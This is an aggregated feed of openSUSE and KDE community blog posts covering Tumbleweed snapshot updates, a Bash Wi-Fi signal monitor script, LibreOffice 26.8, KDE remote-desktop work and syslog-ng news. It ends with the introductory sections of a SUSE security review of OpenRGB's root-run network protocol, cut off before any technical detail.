Tumbleweed es una distribución de GNU/Linux «Rolling Release» o de actualización contínua. Aquí puedes estar al tanto de las últimas novedades.

openSUSE Tumbleweed es la versión «rolling release» o de actualización continua de la distribución de GNU/Linux openSUSE.

Hagamos un repaso a las novedades que han llegado hasta los repositorios esta semana.

Y recuerda que puedes estar al tanto de las nuevas publicaciones de snapshots en esta web:

• https://victorhck.gitlab.io/tumbleweed_snapshots/

El anuncio original lo puedes leer en el blog de Dominique Leuenberger, publicado bajo licencia CC-by-sa, en este este enlace:

• https://dominique.leuenberger.net/blog/2026/08/tumbleweed-review-of-the-week-2026-35/

Esta semana se han publicado 5 Snapshots  (0820, 0821, 0822, 0825, y 0826)

Ha sido una semana excepcionalmente repleta de actualizaciones, en la que se entregaron con éxito tres elementos principales. Primero, la snapshot 0821 trajo toda la biblioteca Qt 6.11.2, sentando una base sólida para el entorno de escritorio. A esto le siguió inmediatamente en la snapshot 0825 con la llegada de KDE Gear 26.08.0, que introduce importantes mejoras de productividad en Dolphin, Okular y Konsole.

La snapshot 0825 llegó para actualizar el kernel Linux a la versión 7.2.0 con todas las mejoras que se han añadido a esta nueva versión. Y la snapshot 0822 vino con la actualización de Mozilla Firefox 154.0

Estas son las actualizaciones en más detalle de esta semana:

• 389-ds 3.2.2
• clamav 1.5.4
• dracut 112+suse.34.g35e16b7
• expat 2.8.2
• KDE Gear 26.08.0
• Linux Kernel 7.2.0
• Mesa 26.2.1
• MozillaFirefox 154.0
• postgresql18 18.6
• Qt 6.11.2
• strace 7.2
• virtualbox 7.2.16
• webkitgtk4 2.52.6

Y para próximas snapshots, ya se están preparando las siguientes actualizaciones:

• Rust 1.98
• Linux Kernel 7.2.2
• LLVM 23.1.0
• Swig 4.5.0
• glibc 2.44
• icewm 4.1.0
• libnettle 4.0.0:

Si quieres estar a la última con software actualizado y probado utiliza openSUSE Tumbleweed la opción rolling release de la distribución de GNU/Linux openSUSE.

Mantente actualizado y ya sabes: Have a lot of fun!!

Enlaces de interés

• ¿Por qué deberías utilizar openSUSE Tumbleweed?
• zypper dup en Tumbleweed hace todo el trabajo al actualizar
• ¿Cual es el mejor comando para actualizar Tumbleweed?
• ¿Qué es el test openQA?
• http://download.opensuse.org/tumbleweed/iso/
• https://es.opensuse.org/Portal:Tumbleweed

——————————–

Dear Tumbleweed users and hackers,

This week saw the release of 5 snapshots (0820, 0821, 0822, 0825, and 0826).

It was an exceptionally packed week of updates, successfully delivering three major items that had been brewing in our staging areas. First, snapshot 0821 brought the entire Qt 6.11.2 library stack, laying a solid foundation for the desktop environment. This was immediately followed in snapshot 0825 by the arrival of KDE Gear 26.08.0, which introduces substantial productivity upgrades to Dolphin (with advanced regex-capable filtering and decoupled grouping), Okular (unified settings and improved annotating workflows), and Konsole (which adds Alt+Click drag-and-drop support).

Another monumental addition in snapshot 0825 was the transition to Linux Kernel 7.2.0. This new kernel introduces major performance optimizations including Cache-Aware Scheduling (CAS) to prevent cache bouncing on multi-core chips, initial AMDGPU HDMI 2.1 support, and the integration of Rust GPUVM abstractions. On the application side, snapshot 0822 was highlighted by the delivery of Mozilla Firefox 154.0 (bundled with the 154.0.1 bugfix release), bringing WebSocket local network permissions, smart tab grouping suggestions, and significantly accelerated video seeking latency.

These 5 snapshots delivered the following updates:

• 389-ds 3.2.2
• clamav 1.5.4
• dracut 112+suse.34.g35e16b7
• expat 2.8.2
• KDE Gear 26.08.0
• Linux Kernel 7.2.0
• Mesa 26.2.1
• MozillaFirefox 154.0
• postgresql18 18.6
• Qt 6.11.2
• strace 7.2
• virtualbox 7.2.16
• webkitgtk4 2.52.6

With these massive updates successfully integrated and rolled out to users, we turn our attention forward to see what is currently working its way through our staging projects:

• Rust 1.98: Already checked in, currently building as part of the next snapshot before heading to openQA.
• Linux Kernel 7.2.2: Likely to be shipped in the coming days.
• LLVM 23.1.0: Transition in progress to make this the new system default, replacing version 22.
• Swig 4.5.0: Received a few fixes, but some YaST-related integration issues still remain to be addressed.
• glibc 2.44: Still progressing in Staging:N. The integration issues with rpmlint, python-scipy, and xsimd have been resolved, and the transition is now focused on resolving the remaining build failure in m4.
• icewm 4.1.0: Active in the staging queue, currently awaiting openQA verification results.
• libnettle 4.0.0: Currently excluded from main staging runs while developers work on resolving test suite breakages in libzypp.

Sigo con la iniciativa #viernesdeescritorio. Bienvenidos a mi escritorio Plasma de agosto 2026 con el que llegamos a las 75 entregas compartiendo «Mi escritorio» de forma mensual. Esta propuesta de mostrar nuestros escritorio es uan gran forma de ver la enorme variedad que tenemos de organizar nuestros entornos de trabajo, una flexibilidad de la que carecen otros escritorios, sobre todo si miramos a los sistemas operativos privativos.

Mi escritorio Plasma de agosto 2026 #viernesdeescritorio

Esta va a ser la entrega número 75 en la que muestro mi escritorio Plasma 6 en público, lo cual es número nada desdeñable de entradas que sigue creciendo de forma constante.

De nuevo sobre mi ultrabook Slimbook Evo que estoy utilizando a plena potencia estas semanas de vacaciones, fuera de mi residencia habitual. Este dispositivo tiene instalado un KDE Neon con Plasma 6.7.4 sobre una versión de KDE Frameworks 6.28.0 y una versión de Qt 6.11.1. El servidor gráfico es Wayland y el Kernel es 7.0.0-29-generic (64 bits).

La barra de tareas la tengo en la parte izquierda ocupando todo ese espacio y contiene de arriba a abajo.

• Selector de escritorios virtuales
• Gestor de tareas solo iconos
• Bandeja del sistema
• Reloj digital
• Vista de escritorio
• Lanzador de aplicaciones.

Como fondo de escritorio he seleccionado una de los que proporciona de forma automática el plugin Wallhaven Wallpaper Reborn, de blacksuan19, el cual tengo pendiente de hablar en el blog (estoy viendo las diferencias entre los distintos tipos de plugin que se nutren de Wallhaven.

Además, el fondo contiene el plasmoide Bare Weather, que me encanta para saber lo que nos queda por padecer por culpa de la calor… aunque ya queda menos.

El resultado de mi escritorio Plasma de agosto de 2026 es un entorno de trabajo oscuro y, como siempre, funcional que podéis ver en la imagen inferior (pinchad sobre ella para verlo un poco más grande).

La entrada Mi escritorio Plasma de agosto 2026 #viernesdeescritorio se publicó primero en KDE Blog.

This is a roundup of articles from the openSUSE community listed on planet.opensuse.org. This community blog feed aggregator lists the featured highlights below from August 21 to 27.

This week highlights the SUSE security review that uncovered remote root exploits in OpenRGB, the release of LibreOffice 26.8, KDE’s continued work on the Wayland remote desktop and KDE Gear improvements, Matthias Klumpp’s Sovereign Tech Fellowship plans for Freedesktop, AppStream and PackageKit, and six Tumbleweed snapshots delivering KDE Frameworks 6.29.0.

Here is a summary and links for each post:

Script to monitor the power of the WIFI signal in the terminal

Victorhck writes a blog about trying what what he read in another blog from Tecno Y Soft. It goes over a Bash script monitoring real-time Wi-Fi signal strength in the Linux terminal, displaying a color-coded bar, SSID, and transfer rates. It improves upon basic aliases by auto-detecting network interfaces and root requirements for easy, universal execution.

Syslog-ng end of August news, and about scaling back Java support

Peter Czanik reports on the project’s news after the summer break and explains the decision to scale back Java support. With native C drivers now covering Elasticsearch and Kafka and HDFS being dropped, the team disabled packaging of the Java destination in the Debian, Ubuntu and RHEL packages, reducing both RAM and hard drive usage. The post also reviews the pull requests and new issues the team is working through.

LibreOffice 26.8 Released, Now with Professional Typography

The KDE Blog announces LibreOffice 26.8, released by The Document Foundation on August 26 and built by 206 contributors. The new version brings improved support for the world’s writing systems, the Paragraph Composer, native OpenType font variations and broader OOXML chart compatibility - all without any generative AI features, telemetry or account requirements.

Podcast Linux #35: Free Formats

The KDE Blog continues to keep the memory of the paused Podcast Linux project alive by gradually indexing its episodes. Episode 35, “Free Formats”, features Juan Febles explaining why file formats, containers and codecs should be free and internationally standardized, alongside an interview with Lorenzo Carbonell (Atareao) and coverage of Inkscape.

How KDE Improves the Remote Desktop in Wayland: Unattended Mode, Lower Latency and More Compatibility

The KDE Blog details a review of the remote desktop improvements heading to Plasma 6.8 under Wayland. The unattended mode now shows a login screen and then hides the host’s displays for privacy, while frame latency tracking, bidirectional clipboard support, RemoteFX Progressive and hardware-accelerated H.264 encoding, and the migration to libei round out the upgrade.

OpenRGB: Remote System Compromise via Custom Network Protocol

The SUSE Security blog publishes a security review that found high-severity flaws in OpenRGB’s custom network protocol, which runs as root and listens on port 6742. Three CVEs cover arbitrary file overwrite (CVE-2026-59682), remote and local root exploits via the UPDATEMODE and SAVE_PROFILE messages (CVE-2026-59683) and several denial-of-service vectors (CVE-2026-18794). Upstream’s 1.0rc3-hotfix release addresses the worst of the issues.

Sovereign Tech Fellowship for Freedesktop Tasks

Ximions Blog shares Matthias Klumpp’s plans for the second half of 2026 as a Sovereign Tech Fellow with significantly increased hours. He intends to tidy up the Freedesktop specifications and website, push AppStream close to its 1.2.0 release, and design PackageKit 2.0 with a modernized architecture and smoother offline updates.

The News of Okular in KDE Gear 26.08, the “Enjoy Shiny Stuff” Edition

The KDE Blog sums up the improvements in Okular from KDE Gear 26.08, “Enjoy Shiny Stuff”. Signing is now more secure and fluid, the two configuration dialogues are unified, triple-click selects an entire line, highlighted or underlined text is automatically added to an associated note, and annotations can be copied and pasted between documents.

Tellico 4.2.2 Released

The KDE Blog reports the release of Tellico 4.2.2, the KDE collection organizer. The update adds the default .tc extension when saving, an option to disable ISBN validation, improved ISBN formatting for all regions, better image caching in the icon view and drag-and-drop RIS import, while removing the defunct DVDFr data source.

UI and Performance Improvements - This Week in Plasma

The KDE Blog translates Nate Graham’s weekly report on the work shaping Plasma 6.8. Interface highlights include English keyword search in System Settings, disabling autostart entries without removing them, more responsive auto-hiding panels and improved lock screen authentication selection, alongside a long list of bug fixes across Plasma 6.6.7, 6.7.5 and 6.8.

Thunderbird 154.0 Released

Victorhck blogs about the release of Thunderbird 154.0. Highlights include an optional system tray mode that keeps the mail client running in the background when the last window is closed, plus a range of fixes for IMAP connections, calendars, CalDAV sync and RSS subscriptions.

Tumbleweed - Review of the Week 2026/34

Dominique Leuenberger and Victorhck review Tumbleweed’s week 2026/34 with its six snapshots. KDE Frameworks 6.29.0 shipped in snapshot 0817, libalternatives 2.0 and Go 1.27 landed on the core system side, and security updates patched Flatpak, Vim and Python 3.13. The upcoming integration of Qt 6.11.2, KDE Gear 26.08.0, Linux Kernel 7.2 and glibc 2.44 is also tracked.

Reverse Clock for Your Desktop with Girosur - Plasmoids for Plasma 6 (38)

The KDE Blog presents Girosur Clock, the 38th widget in its ongoing Plasma 6 plasmoid series. Created by teovisaires, the analog clock and its hands rotate counterclockwise - fitting for the southern hemisphere - as a playful and original addition to the desktop.

Tiny Wins for Packagers: End-of-Week Update (2026-08-21)

The Open Build Service team shares its end-of-week update with a welcome to new contributor Tanner Kvarfordt, whose first commit was merged. Shipments include the update to Rails 8.1, project authorization handling in Token::ServicePolicy and a new “nocontentchange” publish flag, while build.opensuse.org served 20.2 million HTTP requests and nearly two million package builds.

View more blogs or learn to publish your own on planet.opensuse.org.

Este script para sistemas GNU/Linux muestra una monitorización de la potencia de la señal WIFI en nuestra terminal

Hace unos días el compañero bloguero Jose, en el blog de Tecno Y Soft, compartió un alias para zsh para monitorizar la WiFi en GNU/Linux. Podéis ver el artículo en el siguiente enlace:

• https://tecnoysoft.com/2026/08/26/monitorizar-la-wi-fi-con-un-alias/

La idea me gustó y decidí probarlo. Pero después de encontrar varios inconvenientes a la hora de funcionar en mi equipo, decidí darle una vuelta al código y a la salida del comando mostrada.

Probándolo en mi equipo, el alias o comando presentaba varios problemas:

• En Tumbleweed el comando iw necesita ser ejecutado como root
• En su alias se ejecutaba en el dispositivo wlan0 lo que en mi caso no funcionaba, porque no se llama así
• El comando no funcionaba porque necesitaba unos ; para separar comandos. No sé si en zsh funciona sin eso
• La salida del comando no terminaba de convencerme. Queremos monitorizar la potencia de la señal WIFI y sin embargo se muestran otros datos de la salida del comando iw, que personalmente no me aportan mucho

Así que con estos mimbres quise darle una vuelta al alias y en vez de hacer que fuera un alias de una sola línea, hacerlo un script.

Así que con la ayuda de ChatGPT, hemos ido dado forma al script para solucionar todos esos escollos de la propuesta inicial.

• Detecta (o debiera hacerlo) si el comando iw necesita ser ejecutado como root o no y pide la contraseña en caso afirmativo.
• Toma el nombre de dispositivo de iw y así puede ser ejecutado en equipos que se llame wlan0 o `wlp2s´ o como sea…
• La barra muestra colores en función del estado de la señal WiFi y un texto

Cabe destacar que cuanto menor el es valor de dBm, mejor es la calidad de la señal y viceversa.

Por tanto con eso, este sería el script, que mostraría en la terminal algo similar a la imagen que encabeza este artículo:

#!/usr/bin/env bash

INTERVAL=1

GREEN='\033[32m'
YELLOW='\033[33m'
ORANGE='\033[38;5;208m'
RED='\033[31m'
GRAY='\033[90m'
RESET='\033[0m'
HIDE_CURSOR='\033[?25l'
SHOW_CURSOR='\033[?25h'

run_iw() {
    if iw dev >/dev/null 2>&1; then
        iw "$@"
    else
        sudo iw "$@"
    fi
}

cleanup() {
    printf '%b' "$SHOW_CURSOR"
    printf '\n'
    exit 0
}

trap cleanup INT TERM EXIT

IFACE=$(run_iw dev 2>/dev/null | awk '$1=="Interface"{print $2; exit}')

if [[ -z "$IFACE" ]]; then
    echo "No se encontró ninguna interfaz Wi-Fi."
    exit 1
fi

clear
printf '%b' "$HIDE_CURSOR"

FIRST_RUN=true

while true; do

    DATA=$(run_iw dev "$IFACE" link 2>/dev/null)

    if ! grep -q "^Connected to" <<< "$DATA"; then
        OUTPUT=(
            "Wi-Fi: Sin conexión"
            "${GRAY}       ────────────────────${RESET}"
            ""
            "${GRAY}       Interfaz: $IFACE${RESET}"
            ""
            "${GRAY}       ────────────────────${RESET}"
            "${GRAY}       Ctrl+C para detener el script${RESET}"
        )
    else
        SSID=$(awk -F': ' '/SSID:/ {print $2; exit}' <<< "$DATA")
        DB=$(awk '/signal:/ {print $2; exit}' <<< "$DATA")
        FREQ=$(awk '/freq:/ {print $2; exit}' <<< "$DATA")
        RX=$(awk '/rx bitrate:/ {print $3; exit}' <<< "$DATA")
        TX=$(awk '/tx bitrate:/ {print $3; exit}' <<< "$DATA")

        if (( DB >= -60 )); then
            COLOR="$GREEN"
            QUALITY="Excelente"
        elif (( DB >= -67 )); then
            COLOR="$GREEN"
            QUALITY="Buena"
        elif (( DB >= -75 )); then
            COLOR="$YELLOW"
            QUALITY="Aceptable"
        elif (( DB >= -85 )); then
            COLOR="$ORANGE"
            QUALITY="Débil"
        else
            COLOR="$RED"
            QUALITY="Muy débil"
        fi

        FILLED=$(( (DB + 90) * 20 / 50 ))

        (( FILLED > 20 )) && FILLED=20
        (( FILLED < 0 )) && FILLED=0

        BAR=""

        for ((i=0; i<FILLED; i++)); do
            BAR+="█"
        done

        for ((i=FILLED; i<20; i++)); do
            BAR+="░"
        done

        OUTPUT=(
        "Wi-Fi: $SSID"
        "       ────────────────────"
        "       ${COLOR}${BAR}${RESET}"
        "       Señal: ${DB} dBm · ${QUALITY}"
        "       Frecuencia: ${FREQ} MHz"
        "       RX: ${RX} Mbit/s"
        "       TX: ${TX} Mbit/s"
        "       ────────────────────"
        "${GRAY}       Ctrl+C para detener el script${RESET}"
    )

    fi

    if [[ "$FIRST_RUN" == true ]]; then
        printf '%b\n' "${OUTPUT[@]}"
        FIRST_RUN=false
    else
        printf '\033[H'

        for line in "${OUTPUT[@]}"; do
            printf '\033[2K%b\n' "$line"
        done
    fi

    sleep "$INTERVAL"

done

Copia el código en un tu equipo en un archivo que puedes llamar por ejemplo wifi-monitor y dale permisos de ejecución con el consabido comando chmod +x wifi-monitor y lo puedes ejecutar mediante ./wifi-monitor y ver el resultado.

También está disponible en un repositorio git en Codeberg en este enlace:

• https://codeberg.org/victorhck/wifi-monitor

Puedes descargar el script directamente con wget ejecutando:

wget https://codeberg.org/victorhck/wifi-monitor/raw/branch/main/wifi-monitor

Lo puedes meter en alguno de los directorios de tu $PATH y lo podrás ejecutar desde cualquier ubicación en tu terminal.

Gracias a Jose y su blog Tecno y Soft por la idea inicial de su alias para sus pruebas personales por inspirar esta pequeña herramienta.

Si lo pruebas, me gustará saber si te funcionó y si te resulta interesante…

Most of August, I was on vacation, but now I’m back and I try catching up on the events of the past weeks, just like my colleagues do. Currently, we are fixing issues and reviewing contributions, but we also discussed scaling back our efforts on Java support.

While most of the team was away on vacation, the number of syslog-ng contributions suddenly grew. We support both autotools and cmake, and while differences are narrowing, there are still some minor problems to fix. There are pull requests related to cmake, the syslog-ng disk buffer and more. Check https://github.com/syslog-ng/syslog-ng/pulls?q=is%3Apr+ for a full list of pull requests we are working on.

We also received some new issues. One of them was related to a memory leak when syslog-ng is reloaded. While we fixed several problems, Java was not among them. In fact, we rather disabled packaging Java destination support.

To explain this decision: Java support was introduced back when several destinations had no native C drivers and were only implemented in Java. However, Elasticsearch works fine using a wrapper around the http() destination. Kafka now also has a native C driver. And as for HDFS: well, it is dead, and its code will be removed from syslog-ng soon. A few months ago, I also wrote about disabling Java support in my packages. Now the same is happening with Debian / Ubuntu / RHEL packages available from https://www.syslog-ng.com/community/b/blog/posts/syslog-ng-java-destination-disabled At the same time, we also decided not to work on a Java-related memory leak problem, unless we are notified that someone is actually using the Java destination with a self-developed driver. We were aware of such projects 3-4 years ago, but not anymore.

But are there any benefits of not packaging Java, you might ask? Well, in the Debian / Ubuntu world, many users install the syslog-ng package, which is an umbrella package installing all syslog-ng sub-modules and their dependencies. But even without an umbrella package, I have seen similar solutions from RPM users. Removing the unused Java package from the mix reduces both RAM and HDD usage, which benefits everyone.

Originally published at https://www.syslog-ng.com/community/b/blog/posts/syslog-ng-end-of-august-news-and-about-scaling-back-java-support

Hoy me alegra compartir con vosotros que ha sido lanzado LibreOffice 26.8, una versión que llega cargada de novedades entre las que destacan que ahora incorpora tipografía profesional, ha ganado una mayor compatibilidad con idiomas y, quizás lo más importante, no incorpora ninguna inteligencia artificial, una garantía que no necesitas un ordenador de última generación para escribir una carta.

Lanzado LibreOffice 26.8, ahora con tipografía profesional

El pasado 26 de agosto de 2026, The Document Foundation ha anunciado que ha liberado LibreOffice 26.8, la nueva versión principal de la suite ofimática libre y de código abierto, disponible de inmediato para Windows, macOS y Linux en más de 120 idiomas. Esta versión es fruto del trabajo de 206 colaboradores, de los cuales 155 son voluntarios.

Según se lee en su nota de prensa:

El mayor esfuerzo de desarrollo de LibreOffice 26.8 ha sido dedicado a los sistemas de escritura del mundo. Writer ahora detecta automáticamente la dirección de los párrafos, ajusta correctamente las líneas bidireccionales y maneja el cambio de tamaño de los objetos en documentos CJK (chino, japonés y coreano) escritos de derecha a izquierda y en vertical. Calc establece automáticamente la dirección de las celdas cuando se ingresa texto de derecha a izquierda. Math ha incorporado operadores para los alfabetos N’Ko y Adlam, utilizados en las lenguas mandingas de África Occidental y en el fulani.

Además, otras novedades destacadas son:

• Writer incorpora el Compositor de párrafos (Paragraph Composer), un algoritmo de maquetación que distribuye el espaciado entre palabras en todo un párrafo en lugar de optimizar cada línea de manera independiente. Esto elimina la alternancia entre líneas demasiado compactas y líneas con mucho espacio que ha caracterizado al texto justificado en los procesadores de texto desde la aparición de esta tecnología.
• Se ha incorporado de forma nativa las variaciones de fuentes OpenType.
• LibreOffice Chart conserva los tipos de gráficos más recientes que Microsoft Office escribe en archivos OOXML -caja y bigotes, embudo, Pareto, rayos de sol, mapa de árbol y cascada- a lo largo de todo el proceso de importación y exportación, aunque todavía no puede representarlos ni editarlos.
• Calc agrega campos calculados a las tablas dinámicas y mejora el manejo de archivos XLSX.

Para ver los cambios completos os recomiendo consultar la página de las notas del lanzamiento.

LibreOffice 26.8 libre de IA

Hay que destacar que LibreOffice no contiene funciones de IA generativa ni ningún elemento intrusivo a la privacidad del usuario.

De esta forma, los documentos nunca se transmiten a servicios remotos, y ningún componente requiere acceso a la red para funcionar.

Además, la suite no incluye publicidad, telemetría, suscripción ni requiere una cuenta. A partir de esta versión, muestra un banner de donaciones en el Centro de inicio, que enlaza con la página de donaciones y no aparece en ningún otro lugar del software: LibreOffice es de uso gratuito, pero su mantenimiento no lo es.

p

La entrada Lanzado LibreOffice 26.8, ahora con tipografía profesional se publicó primero en KDE Blog.

Aunque el proyecto Podcast Linux está parado esto no significa que no tenga cabida en el blog y, mientras pueda, seguiré promocionándolo con la esperanza de que reviva, como cierto pájaro mitológico. Y he pensado hacerlo de una forma sencilla para mi y creo que beneficiosa para todos, creando poco a poco un índice de todas sus emisiones, de forma que podamos encontrar en este blog una alternativa a su magnífica obra. Así que bienvenidos al trigesimoquinto audio de Podcast Linux – «Formatos Libres» donde Juan realiza nos explica la importancia que tiene que los formatos de los archivos sean libres y de estándar internacional.

Trigesimoquintoaudio de Podcast Linux – «Formatos Libres» (Podcast Linux #35)

Como los lectores del blog sabrán hace un tiempo Podcast Linux cerró sus emisiones por motivos que solo incumben a su creador. Desde el blog no quiero dejar que su recuerdo se desvanezca así que seguiré publicitando sus audios ya que su calidad no debe caer en el olvido.

Hace un tiempo decidí empezar por el principio, mostrando su primer audio, el cual no promocioné en su día y poco a poco hemos pasado ya los 30 episodios repasados.

De esta forma continuo con un nuevo audio de esta serie presentado en el blog, que en palabras de Juan:

Muy buenas Linuxero. Bienvenido a otro programa de Podcast Linux.
Mi nombre es Juan Febles y cada 15 días comparto, un nuevo tema o entrevista, del sistema operativo de escritorio que más nos gusta: GNU/Linux.
En el Núcleo Kernel nos adentraremos en los formatos de archivos, contenedores, códecs y la importancia que sean libres y de estándar internacional.
En el Gestor de Paquetes te hablaré de Inkscape, una aplicación de diseño gráfico vectorial libre.
https://inkscape.org/es/
En Comunidad Linux compartiremos nuestra pasión por el ñu y el pingüino con Lorenzo Carbonell, más conocido como Atareao.
https://www.atareao.es/
Por último, en Área de Notificaciones, le daré un repaso a algunos de los mensajes recibidos en los últimos episodios.

Más información: Podcast Linux

Sigue a Podcast Linux

Aprovecho para animaros a seguir Podcast Linux en algunos de los canales de comunicación que tiene:

• Twitter: https://twitter.com/podcastlinux
• Mastodon: https://mastodon.social/@podcastlinux/
• Correo: podcastlinux@disroot.org
• Web: https://podcastlinux.com/
• Telegram: https://t.me/podcastlinux
• Telegram Juan Febles: https://t.me/juanfebles
• Youtube: https://www.youtube.com/PodcastLinux
• Feed Podcast Linux: https://podcastlinux.com/feed
• Feed Linux Express (Audios Telegram): https://podcastlinux.com/Linux-Express/feed

La entrada Trigesimoquintoaudio de Podcast Linux – «Formatos Libres» (Podcast Linux #35) se publicó primero en KDE Blog.

El desarrollo de KDE sigue viento en popa, y se nota cuando se está metiendo mano a aspectos como la transparencia utilizando carpetas en redes compartidas o la noticia que os traigo hoy. Me complace compartir con vosotros como así mejora KDE el escritorio remoto en Wayland optimizando el modo desatendido, consiguiendo menor latencia y obteniendo más compatibilidad entre dispositivos.

Así mejora KDE el escritorio remoto en Wayland: modo desatendido, menor latencia y más compatibilidad

El artículo de David Edmundson detalla las mejoras realizadas en el escritorio remoto de KDE (RDP y VNC bajo Wayland) de cara a la versión Plasma 6.8, con contribuciones de un equipo de desarrolladores enfocado en resolver uno de los puntos débiles de la transición desde X11.

Para ponernos en contexto, el escritorio remoto ha sido uno de los puntos débiles en la transición de KDE Plasma a Wayland. Aunque ya existe una solución nativa de RDP y VNC para Wayland, el equipo de desarrollo de KDE reconoce que aún no ha alcanzado el nivel deseado. De cara a Plasma 6.8, el escritorio remoto se ha convertido en un á́rea prioritaria, con contribuciones de varios desarrolladores, entre ellos David Edmundson, Shouvik Kar, Nick Haghiri, Oliver Beard y Wensheng Tang.

Mejorando el modo desatendido

Una de las novedades más destacadas es la mejora del modo desatendido (unattended mode), pensado para usuarios que acceden a su propio equipo de forma remota. En el modo tradicional de «soporte », cliente y host ven exactamente la misma imagen, adaptada a los monitores del host, lo cual es útil cuando hay alguien físicamente en el equipo y otra persona se conecta para trabajar juntos.

Sin embargo, este modelo resulta incómodo cuando solo hay un usuario: por ejemplo, si se conecta desde un portátil pequeño a un PC con monitores grandes, tiene que estar scrollando constantemente, y además cualquiera que esté cerca del host puede ver cómo el cursor se mueve y hace clics sin que haya nadie delante.

Para solucionar este inconveniente del modo desatendido se ha pensado una nueva forma de proceder:

• Al conectarse en modo desatendido, la máquina remota muestra primero la pantalla de inicio de sesión.
• Una vez que el usuario inicia sesión, las pantallas del host se «eliminan » de la configuración activa, lo que garantiza privacidad y seguridad: nadie en la oficina verá qué se está haciendo remotamente.
• Las pantallas remotas se redimensionan para coincidir con el tamaño y la disposición de las pantallas del cliente; si se usa una ventana para la sesión remota, esta se ajusta dinámicamente al tamaño de la ventana.
• Además, cuando el usuario cierra la sesión remota y vuelve a iniciar sesión físicamente en el host, todas sus ventanas recuperan automáticamente la posición que tenían antes en la configuración original del host.

Este trabajo también prepara el terreno para soportar en el futuro configuraciones completamente headless, sin ningún monitor físico conectado.

Mejorando el portapapeles y el rendimiento

Otra mejora importante es la del portapapeles, que ahora soporta texto bidireccional de forma robusta: se puede copiar y pegar en ambos sentidos entre cliente y host. Además, está en desarrollo el soporte para transferir archivos mediante el portapapeles, incluyendo integración en el cliente KRDC.

En cuanto al rendimiento, se ha reducido la latencia en todo el sistema. Se ha introducido un mecanismo de temporización que rastrea cada fotograma a lo largo de todo el proceso: desde la recepción del frame crudo y su codificación, pasando por la transmisión por red, hasta el renderizado en el cliente y la recepción del acuse de recibo. Esto permite identificar dónde se acumulan los retrasos, y de esta forma se agrupan los fotogramas que aún están pendientes de envío y un nuevo algoritmo determina cuántos frames se mantienen «en vuelo » para optimizar fluidez y latencia.

También se ha mejorado la gestión para mantener baja la latencia durante caídas de red, y el sistema está realizando alguna tarea para enviar múltiples flujos o incluso áreas del mismo escritorio simultáneamente. KRDC se beneficiará de estas mejoras de rendimiento en su versión 26.12.

Mejoras en la compatibilidad y migración a libei

La compatibilidad con clientes existentes ha mejorado notablemente. Ahora se soporta la codificación RemoteFX Progressive y la codificación H.264 completamente acelerada por hardware, con un mecanismo de reserva mejorado para cuando H.264 falla. También se ha corregido la autenticación NLA para clientes Windows, lo que facilita el uso con equipos Windows que exigen este tipo de autenticación.

Un cambio estructural clave es la migración a libei, una biblioteca y protocolo para enviar entrada emulada al compositor. Libei es mucho más completo que el enfoque básico de «mover ratón » y «enviar keysym » del XDG Portal: permite soportar cualquier número de dispositivos simultáneamente y proporciona la infraestructura para manejar también tabletas gráficas y pantallas táctiles de forma remota. Además, se ha mejorado drásticamente el soporte para enviar teclas que no están en el mapa de teclado actual del host, permitiendo introducir caracteres especiales (como ẞ) e incluso cadenas UTF-8 completas (como «안녕 ») desde el cliente remoto.

De cara al futuro, Edmundson confía en que Plasma 6.8 ofrecerá una buena experiencia para un único usuario, incluso en configuraciones headless, pero considera poco probable que se soporte múltiples usuarios concurrentes en esta versión, dada la complejidad y el hecho de que el feature freeze ya está en marcha. También se menciona la necesidad de estandarizar la infraestructura subyacente para que otros servicios de escritorio remoto puedan beneficiarse de este trabajo. Finalmente, se hace un llamamiento a la comunidad para que pruebe las compilaciones de master y reporte errores o contribuya con parches, ya que esto sigue siendo una ruta crítica para quienes aún dependen de X11.

La entrada Así mejora KDE el escritorio remoto en Wayland: modo desatendido, menor latencia y más compatibilidad se publicó primero en KDE Blog.

Table of Contents

• 1) Introduction
• 2) Overview of OpenRGB
• 3) Overview of the Network Protocol
• 4) Reproducer Script
• 5) Security Issues
  • 5.1) Arbitrary File Overwrite via SAVE_PROFILE Message (CVE-2026-59682)
  • 5.2) Remote and Local Root Exploits via UPDATEMODE and SAVE_PROFILE Messages (CVE-2026-59683)
  • 5.3) Various Denial-of-Service Attack Vectors (CVE-2026-18794)
• 6) Other Concerns
  • 6.1) Server Attempts to Act as a Client
  • 6.2) Lack of Network Byte Order Handling
  • 6.3) Plugin Support Further Expands Attack Surface
  • 6.4) Vast Range of LED Controllers Expands Attack Surface
• 7) Further Suggestions
  • 7.1) systemd Service Hardening
  • 7.2) Dropping Privileges
  • 7.3) Mutual Authentication
  • 7.4) Applying Safe Defaults
• 8) Affected OpenRGB Versions
• 9) Affected Systems
  • 9.1) Linux Distributions
  • 9.2) BSD Distributions
  • 9.3) Other Systems
• 10) CVE Assignments
• 11) Upstream Bugfixes
• 12) Timeline
• 13) References

1) Introduction

OpenRGB is a cross-platform software suite for controlling RGB LED lighting devices on Linux, MacOS and Windows. It caught our attention due to a new systemd service which appeared in the openSUSE Tumbleweed OpenRGB package, containing the following configuration:

[Service]
ExecStart=/usr/bin/openrgb --server --config /etc/openrgb
Restart=always
RuntimeDirectory=openrgb
WorkingDirectory=/run/openrgb

The daemon runs with full root privileges. A quick investigation showed that it also implements a TCP networking protocol listening on wildcard IP address “0.0.0.0” port 6742 by default. Due to these high-risk properties we scheduled a detailed security review of the service. During the review we found various security issues in the protocol which can even lead to a full remote system compromise (issue 5.2). Upstream release 1.0rc3-hotfix addresses the worst aspects of the flaws discussed in this report.

The next sections provide an overview of the technical details in OpenRGB and its network protocol. Section 4) points out a reproducer script we offer. Section 5) describes the security issues in detail. Section 6) discusses further security concerns we found in the codebase of OpenRGB. In section 7) we provide additional hardening recommendations for the project. Section 8) looks into the affected OpenRGB releases while section 9) gives an overview of affected Linux and BSD distributions. In section 10) CVE assignments for the issues in this report are discussed. Finally section 11) covers the bugfixes provided by upstream to address the issues in this report.

This report is based on upstream release tag release_candidate_1.0rc3.

2) Overview of OpenRGB

OpenRGB is implemented in C++ and consists of about 350,000 lines of code. It ships a single executable openrgb which implements three different personalities:

• a graphical UI application implemented in Qt which allows to control and inspect various aspects of OpenRGB.
• a client personality which is used to query state from or modify an already running server instance of openrgb.
• a server personality which implements a custom network protocol listening on wildcard IP “0.0.0.0” port 6742 by default. Only default-enabled firewalls prevent attack surface exposed by the service from becoming immediately accessible to remote attackers. Local users can always connect to the daemon via localhost. In server mode the daemon collects information about LED devices and stores their state in memory. The network protocol allows to retrieve information about the current devices and daemon state as well as to modify certain aspects of the daemon configuration.

3) Overview of the Network Protocol

